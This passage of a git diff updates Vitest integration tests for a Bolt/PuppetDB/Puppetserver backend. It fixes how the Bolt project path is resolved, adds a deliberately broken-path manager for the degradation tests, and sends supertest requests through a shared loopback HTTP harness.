beforeAll(async () => { // Check if Bolt is available @@ -80,8 +85,18 @@ describe("Bolt Plugin Integration", () => { return; } - // Initialize BoltService with test project - const boltProjectPath = process.env.BOLT_PROJECT_PATH || "./bolt-project"; + // Initialize BoltService with test project. + // + // The fallback is resolved against this file's location, not the process + // cwd. Vitest workers inherit the LAUNCH directory, so a bare + // "./bolt-project" resolved to /bolt-project when the suite was + // started from the repo root (where a real Bolt project exists) and to + // /backend/bolt-project when started from backend/ (where it does + // not). Same code, opposite results, depending only on where you typed the + // command. + const backendDir = resolve(dirname(fileURLToPath(import.meta.url)), "..", ".."); + const boltProjectPath = + process.env.BOLT_PROJECT_PATH || join(backendDir, "bolt-project"); boltService = new BoltService(boltProjectPath); // Create BoltPlugin @@ -111,12 +126,28 @@ describe("Bolt Plugin Integration", () => { if (inventory.nodes.length > 0) { testNode = inventory.nodes[0]; } + + // Separate manager pointed at a project directory that cannot exist, so the + // degradation assertions exercise the failure path explicitly rather than + // relying on the primary path happening to be absent. + const brokenPath = join(backendDir, "does-not-exist-bolt-project"); + const brokenPlugin = new BoltPlugin(new BoltService(brokenPath), logger); + brokenManager = new IntegrationManager({ logger }); + brokenManager.registerPlugin(brokenPlugin, { + enabled: true, + name: "bolt", + type: "both", + config: { projectPath: brokenPath }, + priority: 5, + }); + await brokenManager.initializePlugins(); }); afterAll(() => { // Cleanup if (boltAvailable) { integrationManager.stopHealthCheckScheduler(); + brokenManager.stopHealthCheckScheduler(); } }); @@ -267,8 +298,10 @@ describe("Bolt Plugin Integration", () => { return; } + // Uses the broken-path manager: this asserts the DEGRADED shape, which is + // only reachable when Bolt's inventory actually fails. const aggregatedInventory = - await integrationManager.getAggregatedInventory(); + await brokenManager.getAggregatedInventory(); expect(aggregatedInventory).toBeDefined(); expect(aggregatedInventory.nodes).toBeDefined(); @@ -408,7 +441,9 @@ describe("Bolt Plugin Integration", () => { return; } - const healthStatuses = await integrationManager.healthCheckAll(); + // Broken-path manager: asserts an UNHEALTHY report, which requires Bolt + // to actually be failing. + const healthStatuses = await brokenManager.healthCheckAll(); expect(healthStatuses).toBeDefined(); expect(healthStatuses.has("bolt")).toBe(true); @@ -518,14 +553,15 @@ describe("Bolt Plugin Integration", () => { } // This test verifies that if Bolt fails, the aggregated inventory - // still returns with Bolt marked as unavailable + // still returns with Bolt marked as unavailable. The broken-path manager + // makes "Bolt fails" a property of the fixture rather than an accident of + // the working directory. const aggregatedInventory = - await integrationManager.getAggregatedInventory(); + await brokenManager.getAggregatedInventory(); expect(aggregatedInventory).toBeDefined(); expect(aggregatedInventory.sources).toHaveProperty("bolt"); - // Bolt should be unavailable when not installed expect(aggregatedInventory.sources.bolt.status).toBe("unavailable"); }); }); diff --git a/backend/test/integration/expert-mode-routes.test.ts b/backend/test/integration/expert-mode-routes.test.ts index f064092e..6d29497c 100644 --- a/backend/test/integration/expert-mode-routes.test.ts +++ b/backend/test/integration/expert-mode-routes.test.ts @@ -1,4 +1,6 @@ import { describe, it, expect, beforeEach, vi } from "vitest"; +import { beforeAll, afterAll } from "vitest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import express, { type Express } from "express"; import { BoltService } from "../../src/integrations/bolt/BoltService"; import { IntegrationManager } from "../../src/integrations/IntegrationManager"; @@ -13,6 +15,20 @@ vi.mock("child_process", () => ({ spawn: vi.fn(), })); +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Expert Mode Routes Integration Tests", () => { let app: Express; let boltService: BoltService; @@ -53,7 +69,7 @@ describe("Expert Mode Routes Integration Tests", () => { describe("GET /api/inventory", () => { it("should include debug info when expert mode is enabled", async () => { const request = (await import("supertest")).default; - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/inventory") .set("X-Expert-Mode", "true") .expect(200); @@ -74,7 +90,7 @@ describe("Expert Mode Routes Integration Tests", () => { it("should not include debug info when expert mode is disabled", async () => { const request = (await import("supertest")).default; - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/inventory") .expect(200); @@ -90,7 +106,7 @@ describe("Expert Mode Routes Integration Tests", () => { describe("GET /api/integrations/status", () => { it("should include debug info when expert mode is enabled", async () => { const request = (await import("supertest")).default; - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/status") .set("X-Expert-Mode", "true") .expect(200); @@ -110,7 +126,7 @@ describe("Expert Mode Routes Integration Tests", () => { it("should not include debug info when expert mode is disabled", async () => { const request = (await import("supertest")).default; - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/status") .expect(200); @@ -125,7 +141,7 @@ describe("Expert Mode Routes Integration Tests", () => { describe("GET /api/integrations/puppetdb/nodes/:certname/reports", () => { it("should return 503 when PuppetDB is not configured", async () => { const request = (await import("supertest")).default; - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node/reports") .set("X-Expert-Mode", "true") .expect(503); @@ -147,7 +163,7 @@ describe("Expert Mode Routes Integration Tests", () => { it("should not include debug info in error response when expert mode is disabled", async () => { const request = (await import("supertest")).default; - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node/reports") .expect(503); diff --git a/backend/test/integration/external-api-errors-expert-mode.test.ts b/backend/test/integration/external-api-errors-expert-mode.test.ts index b08def19..dc13df64 100644 --- a/backend/test/integration/external-api-errors-expert-mode.test.ts +++ b/backend/test/integration/external-api-errors-expert-mode.test.ts @@ -10,6 +10,7 @@ import { describe, it, expect, beforeAll, afterAll } from 'vitest'; import express, { type Express } from 'express'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import { createPuppetDBRouter } from '../../src/routes/integrations/puppetdb'; import { createPuppetserverRouter } from '../../src/routes/integrations/puppetserver'; import { createTasksRouter } from '../../src/routes/tasks'; @@ -33,6 +34,20 @@ import { BoltTimeoutError, } from '../../src/integrations/bolt/types'; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('External API Errors in Expert Mode', () => { let app: Express; @@ -62,7 +77,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetDBRouter(mockPuppetDBService); app.use('/api/integrations/puppetdb', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes') .set('X-Expert-Mode', 'true') .expect(503); @@ -101,7 +116,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetDBRouter(mockPuppetDBService); app.use('/api/integrations/puppetdb-auth', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb-auth/nodes') .set('X-Expert-Mode', 'true') .expect(401); @@ -134,7 +149,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetDBRouter(mockPuppetDBService); app.use('/api/integrations/puppetdb-query', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb-query/nodes') .set('X-Expert-Mode', 'true') .expect(400); @@ -169,7 +184,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetserverRouter(mockPuppetserverService); app.use('/api/integrations/puppetserver', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetserver/environments') .set('X-Expert-Mode', 'true') .expect(503); @@ -203,7 +218,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetserverRouter(mockPuppetserverService); app.use('/api/integrations/puppetserver-auth', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetserver-auth/environments') .set('X-Expert-Mode', 'true') .expect(500); @@ -236,7 +251,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetserverRouter(mockPuppetserverService); app.use('/api/integrations/puppetserver-error', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetserver-error/environments') .set('X-Expert-Mode', 'true') .expect(500); @@ -275,7 +290,7 @@ describe('External API Errors in Expert Mode', () => { const router = createTasksRouter(mockIntegrationManager, mockExecutionRepository); app.use('/api/tasks', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/tasks') .set('X-Expert-Mode', 'true') .expect(500); @@ -314,7 +329,7 @@ describe('External API Errors in Expert Mode', () => { const router = createTasksRouter(mockIntegrationManager, mockExecutionRepository); app.use('/api/tasks-unreachable', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/tasks-unreachable') .set('X-Expert-Mode', 'true') .expect(500); @@ -351,7 +366,7 @@ describe('External API Errors in Expert Mode', () => { const router = createTasksRouter(mockIntegrationManager, mockExecutionRepository); app.use('/api/tasks-timeout', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/tasks-timeout') .set('X-Expert-Mode', 'true') .expect(500); @@ -383,7 +398,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetDBRouter(mockPuppetDBService); app.use('/api/integrations/puppetdb-no-expert', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb-no-expert/nodes') // No X-Expert-Mode header .expect(503); @@ -412,7 +427,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetDBRouter(mockPuppetDBService); app.use('/api/integrations/puppetdb-stack', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb-stack/nodes') .set('X-Expert-Mode', 'true') .expect(503); @@ -444,7 +459,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetDBRouter(mockPuppetDBService); app.use('/api/integrations/puppetdb-code', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb-code/nodes') .set('X-Expert-Mode', 'true') .expect(401); @@ -472,7 +487,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetDBRouter(mockPuppetDBService); app.use('/api/integrations/puppetdb-perf', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb-perf/nodes') .set('X-Expert-Mode', 'true') .expect(503); @@ -497,7 +512,7 @@ describe('External API Errors in Expert Mode', () => { const router = createPuppetDBRouter(mockPuppetDBService); app.use('/api/integrations/puppetdb-context', router); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb-context/nodes') .set('X-Expert-Mode', 'true') .expect(503); diff --git a/backend/test/integration/graceful-degradation.test.ts b/backend/test/integration/graceful-degradation.test.ts index e99121ff..66891e18 100644 --- a/backend/test/integration/graceful-degradation.test.ts +++ b/backend/test/integration/graceful-degradation.test.ts @@ -13,6 +13,7 @@ import { describe, it, expect, beforeAll, afterAll } from 'vitest'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import express, { type Express } from 'express'; import { createIntegrationsRouter } from '../../src/routes/integrations'; import { IntegrationManager } from '../../src/integrations/IntegrationManager'; @@ -20,6 +21,20 @@ import { LoggerService } from '../../src/services/LoggerService'; import { PuppetDBService } from '../../src/integrations/puppetdb/PuppetDBService'; import type { PuppetDBConfig } from '../../src/config/schema'; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('Graceful Degradation', () => { let app: Express; let integrationManager: IntegrationManager; @@ -84,7 +99,7 @@ describe('Graceful Degradation', () => { describe('Integration Status', () => { it('should not show unconfigured integrations in status', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/status') .expect(200); @@ -100,7 +115,7 @@ describe('Graceful Degradation', () => { }); it('should show PuppetDB status independently', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/status') .expect(200); @@ -119,7 +134,7 @@ describe('Graceful Degradation', () => { describe('Puppetserver Endpoints', () => { it('should return 503 for node status when not configured', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetserver/nodes/test-node/status') .expect(503); @@ -128,7 +143,7 @@ describe('Graceful Degradation', () => { }); it('should return 503 for node facts when not configured', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetserver/nodes/test-node/facts') .expect(503); @@ -137,7 +152,7 @@ describe('Graceful Degradation', () => { }); it('should return 503 for catalog compilation when not configured', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetserver/catalog/test-node/production') .expect(503); @@ -153,7 +168,7 @@ describe('Graceful Degradation', () => { return; } - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes') .expect(200); @@ -169,7 +184,7 @@ describe('Graceful Degradation', () => { } // First get a node - const nodesResponse = await request(app) + const nodesResponse = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes') .expect(200); @@ -181,7 +196,7 @@ describe('Graceful Degradation', () => { const testNode = nodesResponse.body.nodes[0]; // Try to get facts for that node - const factsResponse = await request(app) + const factsResponse = await request(harness.use(app)) .get(`/api/integrations/puppetdb/nodes/${testNode.id}/facts`) .expect((res) => { // Should be either 200 (success) or 404 (node not found) @@ -199,7 +214,7 @@ describe('Graceful Degradation', () => { describe('Error Messages', () => { it('should provide clear error messages for not configured services', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetserver/nodes/test-node/status') .expect(503); @@ -211,7 +226,7 @@ describe('Graceful Degradation', () => { }); it('should include error code for programmatic handling', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetserver/nodes') .expect(503); @@ -224,9 +239,9 @@ describe('Graceful Degradation', () => { it('should not crash when querying unconfigured Puppetserver', async () => { // Make multiple requests to ensure system stability const requests = [ - request(app).get('/api/integrations/puppetserver/nodes'), - request(app).get('/api/integrations/puppetserver/nodes/test/status'), - request(app).get('/api/integrations/puppetserver/nodes/test/facts'), + request(harness.use(app)).get('/api/integrations/puppetserver/nodes'), + request(harness.use(app)).get('/api/integrations/puppetserver/nodes/test/status'), + request(harness.use(app)).get('/api/integrations/puppetserver/nodes/test/facts'), ]; const responses = await Promise.all(requests); @@ -241,7 +256,7 @@ describe('Graceful Degradation', () => { it('should handle concurrent requests gracefully', async () => { // Make many concurrent requests const requests = Array.from({ length: 10 }, () => - request(app).get('/api/integrations/status') + request(harness.use(app)).get('/api/integrations/status') ); const responses = await Promise.all(requests); diff --git a/backend/test/integration/integration-colors.test.ts b/backend/test/integration/integration-colors.test.ts index 8a4d7881..d3e8c6ed 100644 --- a/backend/test/integration/integration-colors.test.ts +++ b/backend/test/integration/integration-colors.test.ts @@ -1,13 +1,28 @@ /** * Integration tests for the integration colors API endpoint */ -import { describe, it, expect, beforeEach } from 'vitest'; +import { describe, it, expect, beforeEach, beforeAll, afterAll } from 'vitest'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import express, { type Express } from 'express'; import { createIntegrationsRouter } from '../../src/routes/integrations'; import { IntegrationManager } from '../../src/integrations/IntegrationManager'; import { LoggerService } from '../../src/services/LoggerService'; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('Integration Colors API', () => { let app: Express; @@ -25,7 +40,7 @@ describe('Integration Colors API', () => { describe('GET /api/integrations/colors', () => { it('should return color configuration for all integrations', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/colors') .expect(200); @@ -51,11 +66,11 @@ describe('Integration Colors API', () => { }); it('should return consistent colors across multiple requests', async () => { - const response1 = await request(app) + const response1 = await request(harness.use(app)) .get('/api/integrations/colors') .expect(200); - const response2 = await request(app) + const response2 = await request(harness.use(app)) .get('/api/integrations/colors') .expect(200); @@ -64,7 +79,7 @@ describe('Integration Colors API', () => { }); it('should return distinct colors for each integration', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/colors') .expect(200); diff --git a/backend/test/integration/integration-status.test.ts b/backend/test/integration/integration-status.test.ts index 5fea7593..f95a4fc5 100644 --- a/backend/test/integration/integration-status.test.ts +++ b/backend/test/integration/integration-status.test.ts @@ -2,9 +2,10 @@ * Integration tests for /api/integrations/status endpoint */ -import { describe, it, expect, beforeEach } from "vitest"; +import { describe, it, expect, beforeEach, beforeAll, afterAll } from "vitest"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { IntegrationManager } from "../../src/integrations/IntegrationManager"; import { BasePlugin } from "../../src/integrations/BasePlugin"; import { LoggerService } from "../../src/services/LoggerService"; @@ -93,6 +94,20 @@ class MockInformationSource } } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Integration Status API", () => { let app: Express; let integrationManager: IntegrationManager; @@ -142,7 +157,7 @@ describe("Integration Status API", () => { describe("GET /api/integrations/status", () => { it("should return status for all configured integrations", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/status") .expect(200); @@ -209,7 +224,7 @@ describe("Integration Status API", () => { createIntegrationsRouter(newManager), ); - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/api/integrations/status") .expect(200); @@ -236,7 +251,7 @@ describe("Integration Status API", () => { createIntegrationsRouter(emptyManager), ); - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/api/integrations/status") .expect(200); @@ -246,7 +261,7 @@ describe("Integration Status API", () => { }); it("should use cached results by default", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/status") .expect(200); @@ -256,7 +271,7 @@ describe("Integration Status API", () => { }); it("should refresh health checks when requested", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/status?refresh=true") .expect(200); diff --git a/backend/test/integration/inventory-filtering.test.ts b/backend/test/integration/inventory-filtering.test.ts index 9f65033d..55949245 100644 --- a/backend/test/integration/inventory-filtering.test.ts +++ b/backend/test/integration/inventory-filtering.test.ts @@ -3,13 +3,28 @@ * Tests Requirement 2.2: Puppetserver source support with filtering and sorting */ -import { describe, it, expect, beforeEach, vi } from "vitest"; +import { describe, it, expect, beforeEach, vi, beforeAll, afterAll } from "vitest"; import type { Node } from "../../src/integrations/bolt/types"; import type { IntegrationManager } from "../../src/integrations/IntegrationManager"; import type { BoltService } from "../../src/integrations/bolt/BoltService"; import { createInventoryRouter } from "../../src/routes/inventory"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; + +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); describe("Inventory Filtering and Sorting", () => { let app: Express; @@ -114,7 +129,7 @@ describe("Inventory Filtering and Sorting", () => { describe("Source Filtering", () => { it("should filter nodes by Puppetserver source", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/inventory") .query({ sources: "puppetserver" }); @@ -129,7 +144,7 @@ describe("Inventory Filtering and Sorting", () => { }); it("should filter nodes by multiple sources", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/inventory") .query({ sources: "puppetserver,puppetdb" }); diff --git a/backend/test/integration/mcp-endpoint.test.ts b/backend/test/integration/mcp-endpoint.test.ts index 3e9355a0..7ccfadb9 100644 --- a/backend/test/integration/mcp-endpoint.test.ts +++ b/backend/test/integration/mcp-endpoint.test.ts @@ -10,6 +10,7 @@ import { describe, it, expect, beforeAll, afterAll } from 'vitest'; import express, { type Express, type Request, type Response } from 'express'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import { randomUUID } from 'crypto'; import { DatabaseService } from '../../src/database/DatabaseService'; import { AuthenticationService } from '../../src/services/AuthenticationService'; @@ -62,6 +63,20 @@ async function createMcpApp(mcpServer: McpServerInstance): Promise { return app; } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('MCP Endpoint Integration Tests', () => { let databaseService: DatabaseService; let mcpDeps: Parameters[0]; @@ -105,7 +120,7 @@ describe('MCP Endpoint Integration Tests', () => { const mcpServer = createMcpServer(mcpDeps); const app = await createMcpApp(mcpServer); - const response = await request(app) + const response = await request(harness.use(app)) .post('/mcp') .set(MCP_HEADERS) .send({ @@ -132,7 +147,7 @@ describe('MCP Endpoint Integration Tests', () => { const app = await createMcpApp(mcpServer); // Initialize session - const initResponse = await request(app) + const initResponse = await request(harness.use(app)) .post('/mcp') .set(MCP_HEADERS) .send({ @@ -151,14 +166,14 @@ describe('MCP Endpoint Integration Tests', () => { expect(sessionId).toBeDefined(); // Send initialized notification - await request(app) + await request(harness.use(app)) .post('/mcp') .set(MCP_HEADERS) .set('mcp-session-id', sessionId) .send({ jsonrpc: '2.0', method: 'notifications/initialized' }); // Request tools list - const toolsResponse = await request(app) + const toolsResponse = await request(harness.use(app)) .post('/mcp') .set(MCP_HEADERS) .set('mcp-session-id', sessionId) diff --git a/backend/test/integration/puppetdb-admin-summary-stats-expert-mode.test.ts b/backend/test/integration/puppetdb-admin-summary-stats-expert-mode.test.ts index 3f1b2149..380d054e 100644 --- a/backend/test/integration/puppetdb-admin-summary-stats-expert-mode.test.ts +++ b/backend/test/integration/puppetdb-admin-summary-stats-expert-mode.test.ts @@ -1,10 +1,25 @@ import { describe, it, expect, beforeAll, afterAll } from "vitest"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import express, { type Express } from "express"; import { createPuppetDBRouter } from "../../src/routes/integrations/puppetdb"; import { PuppetDBService } from "../../src/integrations/puppetdb/PuppetDBService"; import { expertModeMiddleware } from "../../src/middleware/expertMode"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("PuppetDB Admin Summary Stats - Expert Mode", () => { let app: Express; let puppetDBService: PuppetDBService; @@ -35,7 +50,7 @@ describe("PuppetDB Admin Summary Stats - Expert Mode", () => { }); it("should return summary stats without debug info when expert mode is disabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/admin/summary-stats") .expect(200); @@ -46,7 +61,7 @@ describe("PuppetDB Admin Summary Stats - Expert Mode", () => { }); it("should return summary stats with debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/admin/summary-stats") .set("X-Expert-Mode", "true") .expect(200); @@ -99,7 +114,7 @@ describe("PuppetDB Admin Summary Stats - Expert Mode", () => { errorApp.use(expertModeMiddleware); errorApp.use("/api/integrations/puppetdb", createPuppetDBRouter(errorService)); - const response = await request(errorApp) + const response = await request(harness.use(errorApp)) .get("/api/integrations/puppetdb/admin/summary-stats") .set("X-Expert-Mode", "true") .expect(500); @@ -131,7 +146,7 @@ describe("PuppetDB Admin Summary Stats - Expert Mode", () => { errorApp.use(expertModeMiddleware); errorApp.use("/api/integrations/puppetdb", createPuppetDBRouter(errorService)); - const response = await request(errorApp) + const response = await request(harness.use(errorApp)) .get("/api/integrations/puppetdb/admin/summary-stats") .expect(500); @@ -140,7 +155,7 @@ describe("PuppetDB Admin Summary Stats - Expert Mode", () => { }); it("should capture performance metrics in debug info", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/admin/summary-stats") .set("X-Expert-Mode", "true") .expect(200); @@ -151,7 +166,7 @@ describe("PuppetDB Admin Summary Stats - Expert Mode", () => { }); it("should capture request context in debug info", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/admin/summary-stats") .set("X-Expert-Mode", "true") .set("User-Agent", "test-agent") diff --git a/backend/test/integration/puppetdb-catalog-expert-mode.test.ts b/backend/test/integration/puppetdb-catalog-expert-mode.test.ts index 9f5d473f..d2994c1b 100644 --- a/backend/test/integration/puppetdb-catalog-expert-mode.test.ts +++ b/backend/test/integration/puppetdb-catalog-expert-mode.test.ts @@ -1,10 +1,25 @@ -import { describe, it, expect, beforeAll } from "vitest"; +import { describe, it, expect, beforeAll, afterAll } from "vitest"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import express, { type Express } from "express"; import { createPuppetDBRouter } from "../../src/routes/integrations/puppetdb"; import { PuppetDBService } from "../../src/integrations/puppetdb/PuppetDBService"; import { expertModeMiddleware } from "../../src/middleware/expertMode"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("PuppetDB Catalog Route - Expert Mode", () => { let app: Express; let mockPuppetDBService: PuppetDBService; @@ -60,7 +75,7 @@ describe("PuppetDB Catalog Route - Expert Mode", () => { describe("GET /api/integrations/puppetdb/nodes/:certname/catalog", () => { it("should return catalog when node exists", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/catalog") .expect(200); @@ -71,7 +86,7 @@ describe("PuppetDB Catalog Route - Expert Mode", () => { }); it("should return 404 when catalog does not exist", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/non-existent-node/catalog") .expect(404); @@ -81,7 +96,7 @@ describe("PuppetDB Catalog Route - Expert Mode", () => { }); it("should include debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/catalog") .set("X-Expert-Mode", "true") .expect(200); @@ -99,7 +114,7 @@ describe("PuppetDB Catalog Route - Expert Mode", () => { }); it("should not include debug info when expert mode is disabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/catalog") .expect(200); @@ -109,7 +124,7 @@ describe("PuppetDB Catalog Route - Expert Mode", () => { }); it("should include debug info in error responses when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/non-existent-node/catalog") .set("X-Expert-Mode", "true") .expect(404); @@ -124,7 +139,7 @@ describe("PuppetDB Catalog Route - Expert Mode", () => { }); it("should support resourceType filter with expert mode", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/catalog?resourceType=File") .set("X-Expert-Mode", "true") .expect(200); diff --git a/backend/test/integration/puppetdb-events.test.ts b/backend/test/integration/puppetdb-events.test.ts index b95223ff..2828b083 100644 --- a/backend/test/integration/puppetdb-events.test.ts +++ b/backend/test/integration/puppetdb-events.test.ts @@ -6,12 +6,27 @@ import { describe, it, expect, beforeAll, afterAll } from 'vitest'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import express, { type Express } from 'express'; import { createIntegrationsRouter } from '../../src/routes/integrations'; import { PuppetDBService } from '../../src/integrations/puppetdb/PuppetDBService'; import type { IntegrationConfig } from '../../src/integrations/types'; import { expertModeMiddleware } from '../../src/middleware/expertMode'; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('PuppetDB Events API Integration', () => { let app: Express; let puppetDBService: PuppetDBService; @@ -42,7 +57,7 @@ describe('PuppetDB Events API Integration', () => { describe('GET /api/integrations/puppetdb/nodes/:certname/events', () => { it('should return 503 when PuppetDB is not configured', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events') .expect(503); @@ -51,7 +66,7 @@ describe('PuppetDB Events API Integration', () => { }); it('should accept limit query parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events?limit=50') .expect(503); // Still 503 because not configured, but validates parameter parsing @@ -59,7 +74,7 @@ describe('PuppetDB Events API Integration', () => { }); it('should accept status filter query parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) 